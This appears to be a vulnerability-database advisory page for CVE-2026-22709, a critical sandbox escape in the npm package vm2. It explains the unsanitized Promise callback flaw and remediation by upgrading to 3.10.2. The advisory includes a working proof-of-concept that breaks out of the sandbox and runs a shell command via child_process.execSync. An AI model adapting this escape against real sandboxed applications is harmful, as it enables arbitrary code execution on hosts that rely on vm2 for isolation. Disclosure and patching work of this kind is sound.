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CVE-2026-22709 — Vulnerability in vm2 — CVE Details

CRITICAL

vm2 has a Sandbox Escape

Published January 26, 2026Updated February 3, 2026Source: osv

Summary

In vm2 for version 3.10.0, `Promise.prototype.then` `Promise.prototype.catch` callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code. ```js const { VM } = require("vm2"); const code = ` const error = new Error(); error.name = Symbol(); const f = async () => error.stack; const promise = f(); promise.catch(e => { const Error = e.constructor; const Function = Error.constructor; const f = new Function( "process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })" ); f(); }); `; new VM().run(code); ``` In lib/setup-sandbox.js, the callback function of `localPromise.prototype.then` is sanitized, but `globalPromise.prototype.then` is not sanitized. The return value of async functions is `globalPromise` object.

Advisory Timeline

  • First published January 26, 2026 (259 days ago).
  • Last revised February 3, 2026 — 7 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

npm
Update vm2 to 3.10.2 or later
npm install vm2@3.10.2

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: npm (1).

PackageEcosystemAffectedFixed In
vm2
npm
All versions3.10.2

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-22709?
vm2 has a Sandbox Escape This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.8/10).
How do I check if my project is affected by CVE-2026-22709?
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Severity & Exploitability

CVSS Score
9.8

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-99p7-6v5w-7xg8

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